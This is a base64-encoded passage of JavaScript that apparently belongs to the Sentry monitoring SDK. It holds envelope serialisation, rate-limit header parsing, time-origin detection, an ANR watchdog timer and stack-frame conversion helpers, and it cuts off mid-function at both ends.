CB7IHBlcmZvcm1hbmNlIH0gPSBHTE9CQUxfT0JKIDsKICBpZiAoIXBlcmZvcm1hbmNlIHx8ICFwZXJmb3JtYW5jZS5ub3cpIHsKICAgIHJldHVybiB1bmRlZmluZWQ7CiAgfQoKICBjb25zdCB0aHJlc2hvbGQgPSAzNjAwICogMTAwMDsKICBjb25zdCBwZXJmb3JtYW5jZU5vdyA9IHBlcmZvcm1hbmNlLm5vdygpOwogIGNvbnN0IGRhdGVOb3cgPSBEYXRlLm5vdygpOwoKICAvLyBpZiB0aW1lT3JpZ2luIGlzbid0IGF2YWlsYWJsZSBzZXQgZGVsdGEgdG8gdGhyZXNob2xkIHNvIGl0IGlzbid0IHVzZWQKICBjb25zdCB0aW1lT3JpZ2luRGVsdGEgPSBwZXJmb3JtYW5jZS50aW1lT3JpZ2luCiAgICA/IE1hdGguYWJzKHBlcmZvcm1hbmNlLnRpbWVPcmlnaW4gKyBwZXJmb3JtYW5jZU5vdyAtIGRhdGVOb3cpCiAgICA6IHRocmVzaG9sZDsKICBjb25zdCB0aW1lT3JpZ2luSXNSZWxpYWJsZSA9IHRpbWVPcmlnaW5EZWx0YSA8IHRocmVzaG9sZDsKCiAgLy8gV2hpbGUgcGVyZm9ybWFuY2UudGltaW5nLm5hdmlnYXRpb25TdGFydCBpcyBkZXByZWNhdGVkIGluIGZhdm9yIG9mIHBlcmZvcm1hbmNlLnRpbWVPcmlnaW4sIHBlcmZvcm1hbmNlLnRpbWVPcmlnaW4KICAvLyBpcyBub3QgYXMgd2lkZWx5IHN1cHBvcnRlZC4gTmFtZWx5LCBwZXJmb3JtYW5jZS50aW1lT3JpZ2luIGlzIHVuZGVmaW5lZCBpbiBTYWZhcmkgYXMgb2Ygd3JpdGluZy4KICAvLyBBbHNvIGFzIG9mIHdyaXRpbmcsIHBlcmZvcm1hbmNlLnRpbWluZyBpcyBub3QgYXZhaWxhYmxlIGluIFdlYiBXb3JrZXJzIGluIG1haW5zdHJlYW0gYnJvd3NlcnMsIHNvIGl0IGlzIG5vdCBhbHdheXMKICAvLyBhIHZhbGlkIGZhbGxiYWNrLiBJbiB0aGUgYWJzZW5jZSBvZiBhbiBpbml0aWFsIHRpbWUgcHJvdmlkZWQgYnkgdGhlIGJyb3dzZXIsIGZhbGxiYWNrIHRvIHRoZSBjdXJyZW50IHRpbWUgZnJvbSB0aGUKICAvLyBEYXRlIEFQSS4KICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICBjb25zdCBuYXZpZ2F0aW9uU3RhcnQgPSBwZXJmb3JtYW5jZS50aW1pbmcgJiYgcGVyZm9ybWFuY2UudGltaW5nLm5hdmlnYXRpb25TdGFydDsKICBjb25zdCBoYXNOYXZpZ2F0aW9uU3RhcnQgPSB0eXBlb2YgbmF2aWdhdGlvblN0YXJ0ID09PSAnbnVtYmVyJzsKICAvLyBpZiBuYXZpZ2F0aW9uU3RhcnQgaXNuJ3QgYXZhaWxhYmxlIHNldCBkZWx0YSB0byB0aHJlc2hvbGQgc28gaXQgaXNuJ3QgdXNlZAogIGNvbnN0IG5hdmlnYXRpb25TdGFydERlbHRhID0gaGFzTmF2aWdhdGlvblN0YXJ0ID8gTWF0aC5hYnMobmF2aWdhdGlvblN0YXJ0ICsgcGVyZm9ybWFuY2VOb3cgLSBkYXRlTm93KSA6IHRocmVzaG9sZDsKICBjb25zdCBuYXZpZ2F0aW9uU3RhcnRJc1JlbGlhYmxlID0gbmF2aWdhdGlvblN0YXJ0RGVsdGEgPCB0aHJlc2hvbGQ7CgogIGlmICh0aW1lT3JpZ2luSXNSZWxpYWJsZSB8fCBuYXZpZ2F0aW9uU3RhcnRJc1JlbGlhYmxlKSB7CiAgICAvLyBVc2UgdGhlIG1vcmUgcmVsaWFibGUgdGltZSBvcmlnaW4KICAgIGlmICh0aW1lT3JpZ2luRGVsdGEgPD0gbmF2aWdhdGlvblN0YXJ0RGVsdGEpIHsKICAgICAgcmV0dXJuIHBlcmZvcm1hbmNlLnRpbWVPcmlnaW47CiAgICB9IGVsc2UgewogICAgICByZXR1cm4gbmF2aWdhdGlvblN0YXJ0OwogICAgfQogIH0KICByZXR1cm4gZGF0ZU5vdzsKfSkoKTsKCi8qKgogKiBDcmVhdGVzIGFuIGVudmVsb3BlLgogKiBNYWtlIHN1cmUgdG8gYWx3YXlzIGV4cGxpY2l0bHkgcHJvdmlkZSB0aGUgZ2VuZXJpYyB0byB0aGlzIGZ1bmN0aW9uCiAqIHNvIHRoYXQgdGhlIGVudmVsb3BlIHR5cGVzIHJlc29sdmUgY29ycmVjdGx5LgogKi8KZnVuY3Rpb24gY3JlYXRlRW52ZWxvcGUoaGVhZGVycywgaXRlbXMgPSBbXSkgewogIHJldHVybiBbaGVhZGVycywgaXRlbXNdIDsKfQoKLyoqCiAqIENvbnZlbmllbmNlIGZ1bmN0aW9uIHRvIGxvb3AgdGhyb3VnaCB0aGUgaXRlbXMgYW5kIGl0ZW0gdHlwZXMgb2YgYW4gZW52ZWxvcGUuCiAqIChUaGlzIGZ1bmN0aW9uIHdhcyBtb3N0bHkgY3JlYXRlZCBiZWNhdXNlIHdvcmtpbmcgd2l0aCBlbnZlbG9wZSB0eXBlcyBpcyBwYWluZnVsIGF0IHRoZSBtb21lbnQpCiAqCiAqIElmIHRoZSBjYWxsYmFjayByZXR1cm5zIHRydWUsIHRoZSByZXN0IG9mIHRoZSBpdGVtcyB3aWxsIGJlIHNraXBwZWQuCiAqLwpmdW5jdGlvbiBmb3JFYWNoRW52ZWxvcGVJdGVtKAogIGVudmVsb3BlLAogIGNhbGxiYWNrLAopIHsKICBjb25zdCBlbnZlbG9wZUl0ZW1zID0gZW52ZWxvcGVbMV07CgogIGZvciAoY29uc3QgZW52ZWxvcGVJdGVtIG9mIGVudmVsb3BlSXRlbXMpIHsKICAgIGNvbnN0IGVudmVsb3BlSXRlbVR5cGUgPSBlbnZlbG9wZUl0ZW1bMF0udHlwZTsKICAgIGNvbnN0IHJlc3VsdCA9IGNhbGxiYWNrKGVudmVsb3BlSXRlbSwgZW52ZWxvcGVJdGVtVHlwZSk7CgogICAgaWYgKHJlc3VsdCkgewogICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICB9CgogIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIEVuY29kZSBhIHN0cmluZyB0byBVVEY4LgogKi8KZnVuY3Rpb24gZW5jb2RlVVRGOChpbnB1dCwgdGV4dEVuY29kZXIpIHsKICBjb25zdCB1dGY4ID0gdGV4dEVuY29kZXIgfHwgbmV3IFRleHRFbmNvZGVyKCk7CiAgcmV0dXJuIHV0ZjguZW5jb2RlKGlucHV0KTsKfQoKLyoqCiAqIFNlcmlhbGl6ZXMgYW4gZW52ZWxvcGUuCiAqLwpmdW5jdGlvbiBzZXJpYWxpemVFbnZlbG9wZShlbnZlbG9wZSwgdGV4dEVuY29kZXIpIHsKICBjb25zdCBbZW52SGVhZGVycywgaXRlbXNdID0gZW52ZWxvcGU7CgogIC8vIEluaXRpYWxseSB3ZSBjb25zdHJ1Y3Qgb3VyIGVudmVsb3BlIGFzIGEgc3RyaW5nIGFuZCBvbmx5IGNvbnZlcnQgdG8gYmluYXJ5IGNodW5rcyBpZiB3ZSBlbmNvdW50ZXIgYmluYXJ5IGRhdGEKICBsZXQgcGFydHMgPSBKU09OLnN0cmluZ2lmeShlbnZIZWFkZXJzKTsKCiAgZnVuY3Rpb24gYXBwZW5kKG5leHQpIHsKICAgIGlmICh0eXBlb2YgcGFydHMgPT09ICdzdHJpbmcnKSB7CiAgICAgIHBhcnRzID0gdHlwZW9mIG5leHQgPT09ICdzdHJpbmcnID8gcGFydHMgKyBuZXh0IDogW2VuY29kZVVURjgocGFydHMsIHRleHRFbmNvZGVyKSwgbmV4dF07CiAgICB9IGVsc2UgewogICAgICBwYXJ0cy5wdXNoKHR5cGVvZiBuZXh0ID09PSAnc3RyaW5nJyA/IGVuY29kZVVURjgobmV4dCwgdGV4dEVuY29kZXIpIDogbmV4dCk7CiAgICB9CiAgfQoKICBmb3IgKGNvbnN0IGl0ZW0gb2YgaXRlbXMpIHsKICAgIGNvbnN0IFtpdGVtSGVhZGVycywgcGF5bG9hZF0gPSBpdGVtOwoKICAgIGFwcGVuZChgXG4ke0pTT04uc3RyaW5naWZ5KGl0ZW1IZWFkZXJzKX1cbmApOwoKICAgIGlmICh0eXBlb2YgcGF5bG9hZCA9PT0gJ3N0cmluZycgfHwgcGF5bG9hZCBpbnN0YW5jZW9mIFVpbnQ4QXJyYXkpIHsKICAgICAgYXBwZW5kKHBheWxvYWQpOwogICAgfSBlbHNlIHsKICAgICAgbGV0IHN0cmluZ2lmaWVkUGF5bG9hZDsKICAgICAgdHJ5IHsKICAgICAgICBzdHJpbmdpZmllZFBheWxvYWQgPSBKU09OLnN0cmluZ2lmeShwYXlsb2FkKTsKICAgICAgfSBjYXRjaCAoZSkgewogICAgICAgIC8vIEluIGNhc2UsIGRlc3BpdGUgYWxsIG91ciBlZmZvcnRzIHRvIGtlZXAgYHBheWxvYWRgIGNpcmN1bGFyLWRlcGVuZGVuY3ktZnJlZSwgYEpTT04uc3RyaW5pZnkoKWAgc3RpbGwKICAgICAgICAvLyBmYWlscywgd2UgdHJ5IGFnYWluIGFmdGVyIG5vcm1hbGl6aW5nIGl0IGFnYWluIHdpdGggaW5maW5pdGUgbm9ybWFsaXphdGlvbiBkZXB0aC4gVGhpcyBvZiBjb3Vyc2UgaGFzIGEKICAgICAgICAvLyBwZXJmb3JtYW5jZSBpbXBhY3QgYnV0IGluIHRoaXMgY2FzZSBhIHBlcmZvcm1hbmNlIGhpdCBpcyBiZXR0ZXIgdGhhbiB0aHJvd2luZy4KICAgICAgICBzdHJpbmdpZmllZFBheWxvYWQgPSBKU09OLnN0cmluZ2lmeShub3JtYWxpemUocGF5bG9hZCkpOwogICAgICB9CiAgICAgIGFwcGVuZChzdHJpbmdpZmllZFBheWxvYWQpOwogICAgfQogIH0KCiAgcmV0dXJuIHR5cGVvZiBwYXJ0cyA9PT0gJ3N0cmluZycgPyBwYXJ0cyA6IGNvbmNhdEJ1ZmZlcnMocGFydHMpOwp9CgpmdW5jdGlvbiBjb25jYXRCdWZmZXJzKGJ1ZmZlcnMpIHsKICBjb25zdCB0b3RhbExlbmd0aCA9IGJ1ZmZlcnMucmVkdWNlKChhY2MsIGJ1ZikgPT4gYWNjICsgYnVmLmxlbmd0aCwgMCk7CgogIGNvbnN0IG1lcmdlZCA9IG5ldyBVaW50OEFycmF5KHRvdGFsTGVuZ3RoKTsKICBsZXQgb2Zmc2V0ID0gMDsKICBmb3IgKGNvbnN0IGJ1ZmZlciBvZiBidWZmZXJzKSB7CiAgICBtZXJnZWQuc2V0KGJ1ZmZlciwgb2Zmc2V0KTsKICAgIG9mZnNldCArPSBidWZmZXIubGVuZ3RoOwogIH0KCiAgcmV0dXJuIG1lcmdlZDsKfQoKY29uc3QgSVRFTV9UWVBFX1RPX0RBVEFfQ0FURUdPUllfTUFQID0gewogIHNlc3Npb246ICdzZXNzaW9uJywKICBzZXNzaW9uczogJ3Nlc3Npb24nLAogIGF0dGFjaG1lbnQ6ICdhdHRhY2htZW50JywKICB0cmFuc2FjdGlvbjogJ3RyYW5zYWN0aW9uJywKICBldmVudDogJ2Vycm9yJywKICBjbGllbnRfcmVwb3J0OiAnaW50ZXJuYWwnLAogIHVzZXJfcmVwb3J0OiAnZGVmYXVsdCcsCiAgcHJvZmlsZTogJ3Byb2ZpbGUnLAogIHJlcGxheV9ldmVudDogJ3JlcGxheScsCiAgcmVwbGF5X3JlY29yZGluZzogJ3JlcGxheScsCiAgY2hlY2tfaW46ICdtb25pdG9yJywKICBmZWVkYmFjazogJ2ZlZWRiYWNrJywKICBzcGFuOiAnc3BhbicsCiAgc3RhdHNkOiAnbWV0cmljX2J1Y2tldCcsCn07CgovKioKICogTWFwcyB0aGUgdHlwZSBvZiBhbiBlbnZlbG9wZSBpdGVtIHRvIGEgZGF0YSBjYXRlZ29yeS4KICovCmZ1bmN0aW9uIGVudmVsb3BlSXRlbVR5cGVUb0RhdGFDYXRlZ29yeSh0eXBlKSB7CiAgcmV0dXJuIElURU1fVFlQRV9UT19EQVRBX0NBVEVHT1JZX01BUFt0eXBlXTsKfQoKLyoqIEV4dHJhY3RzIHRoZSBtaW5pbWFsIFNESyBpbmZvIGZyb20gdGhlIG1ldGFkYXRhIG9yIGFuIGV2ZW50cyAqLwpmdW5jdGlvbiBnZXRTZGtNZXRhZGF0YUZvckVudmVsb3BlSGVhZGVyKG1ldGFkYXRhT3JFdmVudCkgewogIGlmICghbWV0YWRhdGFPckV2ZW50IHx8ICFtZXRhZGF0YU9yRXZlbnQuc2RrKSB7CiAgICByZXR1cm47CiAgfQogIGNvbnN0IHsgbmFtZSwgdmVyc2lvbiB9ID0gbWV0YWRhdGFPckV2ZW50LnNkazsKICByZXR1cm4geyBuYW1lLCB2ZXJzaW9uIH07Cn0KCi8qKgogKiBDcmVhdGVzIGV2ZW50IGVudmVsb3BlIGhlYWRlcnMsIGJhc2VkIG9uIGV2ZW50LCBzZGsgaW5mbyBhbmQgdHVubmVsCiAqIE5vdGU6IFRoaXMgZnVuY3Rpb24gd2FzIGV4dHJhY3RlZCBmcm9tIHRoZSBjb3JlIHBhY2thZ2UgdG8gbWFrZSBpdCBhdmFpbGFibGUgaW4gUmVwbGF5CiAqLwpmdW5jdGlvbiBjcmVhdGVFdmVudEVudmVsb3BlSGVhZGVycygKICBldmVudCwKICBzZGtJbmZvLAogIHR1bm5lbCwKICBkc24sCikgewogIGNvbnN0IGR5bmFtaWNTYW1wbGluZ0NvbnRleHQgPSBldmVudC5zZGtQcm9jZXNzaW5nTWV0YWRhdGEgJiYgZXZlbnQuc2RrUHJvY2Vzc2luZ01ldGFkYXRhLmR5bmFtaWNTYW1wbGluZ0NvbnRleHQ7CiAgcmV0dXJuIHsKICAgIGV2ZW50X2lkOiBldmVudC5ldmVudF9pZCAsCiAgICBzZW50X2F0OiBuZXcgRGF0ZSgpLnRvSVNPU3RyaW5nKCksCiAgICAuLi4oc2RrSW5mbyAmJiB7IHNkazogc2RrSW5mbyB9KSwKICAgIC4uLighIXR1bm5lbCAmJiBkc24gJiYgeyBkc246IGRzblRvU3RyaW5nKGRzbikgfSksCiAgICAuLi4oZHluYW1pY1NhbXBsaW5nQ29udGV4dCAmJiB7CiAgICAgIHRyYWNlOiBkcm9wVW5kZWZpbmVkS2V5cyh7IC4uLmR5bmFtaWNTYW1wbGluZ0NvbnRleHQgfSksCiAgICB9KSwKICB9Owp9CgovLyBJbnRlbnRpb25hbGx5IGtlZXBpbmcgdGhlIGtleSBicm9hZCwgYXMgd2UgZG9uJ3Qga25vdyBmb3Igc3VyZSB3aGF0IHJhdGUgbGltaXQgaGVhZGVycyBnZXQgcmV0dXJuZWQgZnJvbSBiYWNrZW5kCgpjb25zdCBERUZBVUxUX1JFVFJZX0FGVEVSID0gNjAgKiAxMDAwOyAvLyA2MCBzZWNvbmRzCgovKioKICogRXh0cmFjdHMgUmV0cnktQWZ0ZXIgdmFsdWUgZnJvbSB0aGUgcmVxdWVzdCBoZWFkZXIgb3IgcmV0dXJucyBkZWZhdWx0IHZhbHVlCiAqIEBwYXJhbSBoZWFkZXIgc3RyaW5nIHJlcHJlc2VudGF0aW9uIG9mICdSZXRyeS1BZnRlcicgaGVhZGVyCiAqIEBwYXJhbSBub3cgY3VycmVudCB1bml4IHRpbWVzdGFtcAogKgogKi8KZnVuY3Rpb24gcGFyc2VSZXRyeUFmdGVySGVhZGVyKGhlYWRlciwgbm93ID0gRGF0ZS5ub3coKSkgewogIGNvbnN0IGhlYWRlckRlbGF5ID0gcGFyc2VJbnQoYCR7aGVhZGVyfWAsIDEwKTsKICBpZiAoIWlzTmFOKGhlYWRlckRlbGF5KSkgewogICAgcmV0dXJuIGhlYWRlckRlbGF5ICogMTAwMDsKICB9CgogIGNvbnN0IGhlYWRlckRhdGUgPSBEYXRlLnBhcnNlKGAke2hlYWRlcn1gKTsKICBpZiAoIWlzTmFOKGhlYWRlckRhdGUpKSB7CiAgICByZXR1cm4gaGVhZGVyRGF0ZSAtIG5vdzsKICB9CgogIHJldHVybiBERUZBVUxUX1JFVFJZX0FGVEVSOwp9CgovKioKICogR2V0cyB0aGUgdGltZSB0aGF0IHRoZSBnaXZlbiBjYXRlZ29yeSBpcyBkaXNhYmxlZCB1bnRpbCBmb3IgcmF0ZSBsaW1pdGluZy4KICogSW4gY2FzZSBubyBjYXRlZ29yeS1zcGVjaWZpYyBsaW1pdCBpcyBzZXQgYnV0IGEgZ2VuZXJhbCByYXRlIGxpbWl0IGFjcm9zcyBhbGwgY2F0ZWdvcmllcyBpcyBhY3RpdmUsCiAqIHRoYXQgdGltZSBpcyByZXR1cm5lZC4KICoKICogQHJldHVybiB0aGUgdGltZSBpbiBtcyB0aGF0IHRoZSBjYXRlZ29yeSBpcyBkaXNhYmxlZCB1bnRpbCBvciAwIGlmIHRoZXJlJ3Mgbm8gYWN0aXZlIHJhdGUgbGltaXQuCiAqLwpmdW5jdGlvbiBkaXNhYmxlZFVudGlsKGxpbWl0cywgZGF0YUNhdGVnb3J5KSB7CiAgcmV0dXJuIGxpbWl0c1tkYXRhQ2F0ZWdvcnldIHx8IGxpbWl0cy5hbGwgfHwgMDsKfQoKLyoqCiAqIENoZWNrcyBpZiBhIGNhdGVnb3J5IGlzIHJhdGUgbGltaXRlZAogKi8KZnVuY3Rpb24gaXNSYXRlTGltaXRlZChsaW1pdHMsIGRhdGFDYXRlZ29yeSwgbm93ID0gRGF0ZS5ub3coKSkgewogIHJldHVybiBkaXNhYmxlZFVudGlsKGxpbWl0cywgZGF0YUNhdGVnb3J5KSA+IG5vdzsKfQoKLyoqCiAqIFVwZGF0ZSByYXRlbGltaXRzIGZyb20gaW5jb21pbmcgaGVhZGVycy4KICoKICogQHJldHVybiB0aGUgdXBkYXRlZCBSYXRlTGltaXRzIG9iamVjdC4KICovCmZ1bmN0aW9uIHVwZGF0ZVJhdGVMaW1pdHMoCiAgbGltaXRzLAogIHsgc3RhdHVzQ29kZSwgaGVhZGVycyB9LAogIG5vdyA9IERhdGUubm93KCksCikgewogIGNvbnN0IHVwZGF0ZWRSYXRlTGltaXRzID0gewogICAgLi4ubGltaXRzLAogIH07CgogIC8vICJUaGUgbmFtZSBpcyBjYXNlLWluc2Vuc2l0aXZlLiIKICAvLyBodHRwczovL2RldmVsb3Blci5tb3ppbGxhLm9yZy9lbi1VUy9kb2NzL1dlYi9BUEkvSGVhZGVycy9nZXQKICBjb25zdCByYXRlTGltaXRIZWFkZXIgPSBoZWFkZXJzICYmIGhlYWRlcnNbJ3gtc2VudHJ5LXJhdGUtbGltaXRzJ107CiAgY29uc3QgcmV0cnlBZnRlckhlYWRlciA9IGhlYWRlcnMgJiYgaGVhZGVyc1sncmV0cnktYWZ0ZXInXTsKCiAgaWYgKHJhdGVMaW1pdEhlYWRlcikgewogICAgLyoqCiAgICAgKiByYXRlIGxpbWl0IGhlYWRlcnMgYXJlIG9mIHRoZSBmb3JtCiAgICAgKiAgICAgPGhlYWRlcj4sPGhlYWRlcj4sLi4KICAgICAqIHdoZXJlIGVhY2ggPGhlYWRlcj4gaXMgb2YgdGhlIGZvcm0KICAgICAqICAgICA8cmV0cnlfYWZ0ZXI+OiA8Y2F0ZWdvcmllcz46IDxzY29wZT46IDxyZWFzb25fY29kZT46IDxuYW1lc3BhY2VzPgogICAgICogd2hlcmUKICAgICAqICAgICA8cmV0cnlfYWZ0ZXI+IGlzIGEgZGVsYXkgaW4gc2Vjb25kcwogICAgICogICAgIDxjYXRlZ29yaWVzPiBpcyB0aGUgZXZlbnQgdHlwZShzKSAoZXJyb3IsIHRyYW5zYWN0aW9uLCBldGMpIGJlaW5nIHJhdGUgbGltaXRlZCBhbmQgaXMgb2YgdGhlIGZvcm0KICAgICAqICAgICAgICAgPGNhdGVnb3J5Pjs8Y2F0ZWdvcnk+Oy4uLgogICAgICogICAgIDxzY29wZT4gaXMgd2hhdCdzIGJlaW5nIGxpbWl0ZWQgKG9yZywgcHJvamVjdCwgb3Iga2V5KSAtIGlnbm9yZWQgYnkgU0RLCiAgICAgKiAgICAgPHJlYXNvbl9jb2RlPiBpcyBhbiBhcmJpdHJhcnkgc3RyaW5nIGxpa2UgIm9yZ19xdW90YSIgLSBpZ25vcmVkIGJ5IFNESwogICAgICogICAgIDxuYW1lc3BhY2VzPiBTZW1pY29sb24tc2VwYXJhdGVkIGxpc3Qgb2YgbWV0cmljIG5hbWVzcGFjZSBpZGVudGlmaWVycy4gRGVmaW5lcyB3aGljaCBuYW1lc3BhY2Uocykgd2lsbCBiZSBhZmZlY3RlZC4KICAgICAqICAgICAgICAgT25seSBwcmVzZW50IGlmIHJhdGUgbGltaXQgYXBwbGllcyB0byB0aGUgbWV0cmljX2J1Y2tldCBkYXRhIGNhdGVnb3J5LgogICAgICovCiAgICBmb3IgKGNvbnN0IGxpbWl0IG9mIHJhdGVMaW1pdEhlYWRlci50cmltKCkuc3BsaXQoJywnKSkgewogICAgICBjb25zdCBbcmV0cnlBZnRlciwgY2F0ZWdvcmllcywgLCAsIG5hbWVzcGFjZXNdID0gbGltaXQuc3BsaXQoJzonLCA1KTsKICAgICAgY29uc3QgaGVhZGVyRGVsYXkgPSBwYXJzZUludChyZXRyeUFmdGVyLCAxMCk7CiAgICAgIGNvbnN0IGRlbGF5ID0gKCFpc05hTihoZWFkZXJEZWxheSkgPyBoZWFkZXJEZWxheSA6IDYwKSAqIDEwMDA7IC8vIDYwc2VjIGRlZmF1bHQKICAgICAgaWYgKCFjYXRlZ29yaWVzKSB7CiAgICAgICAgdXBkYXRlZFJhdGVMaW1pdHMuYWxsID0gbm93ICsgZGVsYXk7CiAgICAgIH0gZWxzZSB7CiAgICAgICAgZm9yIChjb25zdCBjYXRlZ29yeSBvZiBjYXRlZ29yaWVzLnNwbGl0KCc7JykpIHsKICAgICAgICAgIGlmIChjYXRlZ29yeSA9PT0gJ21ldHJpY19idWNrZXQnKSB7CiAgICAgICAgICAgIC8vIG5hbWVzcGFjZXMgd2lsbCBiZSBwcmVzZW50IHdoZW4gY2F0ZWdvcnkgPT09ICdtZXRyaWNfYnVja2V0JwogICAgICAgICAgICBpZiAoIW5hbWVzcGFjZXMgfHwgbmFtZXNwYWNlcy5zcGxpdCgnOycpLmluY2x1ZGVzKCdjdXN0b20nKSkgewogICAgICAgICAgICAgIHVwZGF0ZWRSYXRlTGltaXRzW2NhdGVnb3J5XSA9IG5vdyArIGRlbGF5OwogICAgICAgICAgICB9CiAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB1cGRhdGVkUmF0ZUxpbWl0c1tjYXRlZ29yeV0gPSBub3cgKyBkZWxheTsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIH0KICAgIH0KICB9IGVsc2UgaWYgKHJldHJ5QWZ0ZXJIZWFkZXIpIHsKICAgIHVwZGF0ZWRSYXRlTGltaXRzLmFsbCA9IG5vdyArIHBhcnNlUmV0cnlBZnRlckhlYWRlcihyZXRyeUFmdGVySGVhZGVyLCBub3cpOwogIH0gZWxzZSBpZiAoc3RhdHVzQ29kZSA9PT0gNDI5KSB7CiAgICB1cGRhdGVkUmF0ZUxpbWl0cy5hbGwgPSBub3cgKyA2MCAqIDEwMDA7CiAgfQoKICByZXR1cm4gdXBkYXRlZFJhdGVMaW1pdHM7Cn0KCi8qKgogKiBBIG5vZGUuanMgd2F0Y2hkb2cgdGltZXIKICogQHBhcmFtIHBvbGxJbnRlcnZhbCBUaGUgaW50ZXJ2YWwgdGhhdCB3ZSBleHBlY3QgdG8gZ2V0IHBvbGxlZCBhdAogKiBAcGFyYW0gYW5yVGhyZXNob2xkIFRoZSB0aHJlc2hvbGQgZm9yIHdoZW4gd2UgY29uc2lkZXIgQU5SCiAqIEBwYXJhbSBjYWxsYmFjayBUaGUgY2FsbGJhY2sgdG8gY2FsbCBmb3IgQU5SCiAqIEByZXR1cm5zIEFuIG9iamVjdCB3aXRoIGBwb2xsYCBhbmQgYGVuYWJsZWRgIGZ1bmN0aW9ucyB7QGxpbmsgV2F0Y2hkb2dSZXR1cm59CiAqLwpmdW5jdGlvbiB3YXRjaGRvZ1RpbWVyKAogIGNyZWF0ZVRpbWVyLAogIHBvbGxJbnRlcnZhbCwKICBhbnJUaHJlc2hvbGQsCiAgY2FsbGJhY2ssCikgewogIGNvbnN0IHRpbWVyID0gY3JlYXRlVGltZXIoKTsKICBsZXQgdHJpZ2dlcmVkID0gZmFsc2U7CiAgbGV0IGVuYWJsZWQgPSB0cnVlOwoKICBzZXRJbnRlcnZhbCgoKSA9PiB7CiAgICBjb25zdCBkaWZmTXMgPSB0aW1lci5nZXRUaW1lTXMoKTsKCiAgICBpZiAodHJpZ2dlcmVkID09PSBmYWxzZSAmJiBkaWZmTXMgPiBwb2xsSW50ZXJ2YWwgKyBhbnJUaHJlc2hvbGQpIHsKICAgICAgdHJpZ2dlcmVkID0gdHJ1ZTsKICAgICAgaWYgKGVuYWJsZWQpIHsKICAgICAgICBjYWxsYmFjaygpOwogICAgICB9CiAgICB9CgogICAgaWYgKGRpZmZNcyA8IHBvbGxJbnRlcnZhbCArIGFuclRocmVzaG9sZCkgewogICAgICB0cmlnZ2VyZWQgPSBmYWxzZTsKICAgIH0KICB9LCAyMCk7CgogIHJldHVybiB7CiAgICBwb2xsOiAoKSA9PiB7CiAgICAgIHRpbWVyLnJlc2V0KCk7CiAgICB9LAogICAgZW5hYmxlZDogKHN0YXRlKSA9PiB7CiAgICAgIGVuYWJsZWQgPSBzdGF0ZTsKICAgIH0sCiAgfTsKfQoKLy8gdHlwZXMgY29waWVkIGZyb20gaW5zcGVjdG9yLmQudHMKCi8qKgogKiBDb252ZXJ0cyBEZWJ1Z2dlci5DYWxsRnJhbWUgdG8gU2VudHJ5IFN0YWNrRnJhbWUKICovCmZ1bmN0aW9uIGNhbGxGcmFtZVRvU3RhY2tGcmFtZSgKICBmcmFtZSwKICB1cmwsCiAgZ2V0TW9kdWxlRnJvbUZpbGVuYW1lLAopIHsKICBjb25zdCBmaWxlbmFtZSA9IHVybCA/IHVybC5yZXBsYWNlKC9eZmlsZTpcL1wvLywgJycpIDogdW5kZWZpbmVkOwoKICAvLyBDYWxsRnJhbWUgcm93L2NvbCBhcmUgMCBiYXNlZCwgd2hlcmVhcyBTdGFja0ZyYW1lIGFyZSAxIGJhc2VkCiAgY29uc3QgY29sbm8gPSBmcmFtZS5sb2NhdGlvbi5jb2x1bW5OdW1iZXIgPyBmcmFtZS5sb2NhdGlvbi5jb2x1bW5OdW1iZXIgKyAxIDogdW5kZWZpbmVkOwogIGNvbnN0IGxpbmVubyA9IGZyYW1lLmxvY2F0aW9uLmxpbmVOdW1iZXIgPyBmcmFtZS5sb2NhdGlvbi5saW5lTnVtYmVyICsgMSA6IHVuZGVmaW5lZDsKCiAgcmV0dXJuIGRyb3BVbmRlZmluZWRLZXlzKHsKICAgIGZpbGVuYW1lLAogICAgbW9kdWxlOiBnZXRNb2R1bGVGcm9tRmlsZW5hbWUoZmlsZW5hbWUpLAogICAgZnVuY3Rpb246IGZyYW1lLmZ1bmN0aW9uTmFtZSB8fCAnPycsCiAgICBjb2xubywKICAgIGxpbmVubywKICAgIGluX2FwcDogZmlsZW5hbWUgPyBmaWxlbmFtZUlzSW5BcHAoZmlsZW5hbWUpIDogdW5kZWZpbmVkLAogIH0pOwp9CgovKioKICogVGhpcyBzZXJ2ZXMgYXMgYSBidWlsZCB0aW1lIGZsYWcgdGhhdCB3aWxsIGJlIHRydWUgYnkgZGVmYXVsdCwgYnV0IGZhbHNlIGluIG5vbi1kZWJ1ZyBidWlsZHMgb3IgaWYgdXNlcnMgcmVwbGFjZSBgX19TRU5UUllfREVCVUdfX2AgaW4gdGhlaXIgZ2VuZXJhdGVkIGNvZGUuCiAqCiAqIEFUVEVOVElPTjogVGhpcyBjb25zdGFudCBtdXN0IG5ldmVyIGNyb3NzIHBhY2thZ2UgYm91bmRhcmllcyAoaS5lLiBiZSBleHBvcnRlZCkgdG8gZ3VhcmFudGVlIHRoYXQgaXQgY2FuIGJlIHVzZWQgZm9yIHRyZWUgc2hha2luZy4KICovCmNvbnN0IERFQlVHX0JVSUxEID0gKHR5cGVvZiBfX1NFTlRSWV9ERUJVR19fID09PSAndW5kZWZpbmVkJyB8fCBfX1NFTlRSWV9ERUJVR19fKTsKCmNvbnN0IERFRkFVTFRfRU5WSVJPTk1FTlQgPSAncHJvZHVjdGlvbic7CgovKioKICogUmV0dXJucyB0aGUgZ2xvYmFsIGV2ZW50IHByb2Nlc3NvcnMuCiAqIEBkZXByZWNhdGVkIEdsb2JhbCBldmVudCBwcm9jZXNzb3JzIHdpbGwgYmUgcmVtb3ZlZCBpbiB2OC4KICovCmZ1bmN0aW9uIGdldEdsb2JhbEV2ZW50UHJvY2Vzc29ycygpIHsKICByZXR1cm4gZ2V0R2xvYmFsU2luZ2xldG9uKCdnbG9iYWxFdmVudFByb2Nlc3NvcnMnLCAoKSA9PiBbXSk7Cn0KCi8qKgogKiBQcm9jZXNzIGFuIGFycmF5IG9mIGV2ZW50IHByb2Nlc3NvcnMsIHJldHVybmluZyB0aGUgcHJvY2Vzc2VkIGV2ZW50IChvciBgbnVsbGAgaWYgdGhlIGV2ZW50IHdhcyBkcm9wcGVkKS4KICovCmZ1bmN0aW9uIG5vdGlmeUV2ZW50UHJvY2Vzc29ycygKICBwcm9jZXNzb3JzLAogIGV2ZW50LAogIGhpbnQsCiAgaW5kZXggPSA